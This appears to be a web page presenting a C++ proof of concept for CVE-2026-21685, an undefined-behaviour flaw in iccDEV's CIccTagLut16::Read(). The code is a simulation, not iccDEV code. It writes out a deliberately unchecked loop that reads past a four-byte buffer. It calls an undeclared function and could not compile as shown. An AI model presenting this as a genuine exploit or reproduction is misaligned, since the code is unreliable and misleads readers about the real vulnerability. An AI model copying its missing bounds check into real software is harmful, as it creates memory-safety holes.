CVE-2026-21685 iccDEV CIccTagLut16::Read()未定义行为漏洞

#include <iostream> #include <fstream> #include <vector> // Simulated vulnerable ICC profile structure struct IccProfileHeader { char signature[4]; uint32_t size; // ... other header fields }; // Vulnerable function - CIccTagLut16::Read() void ReadLut16Data(std::vector<uint8_t>& data, size_t offset, size_t length) { // Undefined behavior: insufficient bounds checking for (size_t i = 0; i < length; i++) { // Missing validation of offset + i against data.size() uint8_t value = data[offset + i]; // Potential out-of-bounds access processValue(value); } } // Create malicious ICC profile trigger std::vector<uint8_t> createMaliciousIccProfile() { std::vector<uint8_t> profile; // Craft ICC profile with manipulated Lut16 tag data // that triggers undefined behavior in Read() function profile.push_back(0x00); // Malformed data profile.push_back(0x00); profile.push_back(0x00); profile.push_back(0x00); return profile; } int main() { std::cout << "CVE-2026-21685 PoC - iccDEV CIccTagLut16::Read() Undefined Behavior" << std::endl; // Load malicious ICC profile auto maliciousProfile = createMaliciousIccProfile(); // Trigger vulnerable code path ReadLut16Data(maliciousProfile, 0, maliciousProfile.size() + 100); return 0; }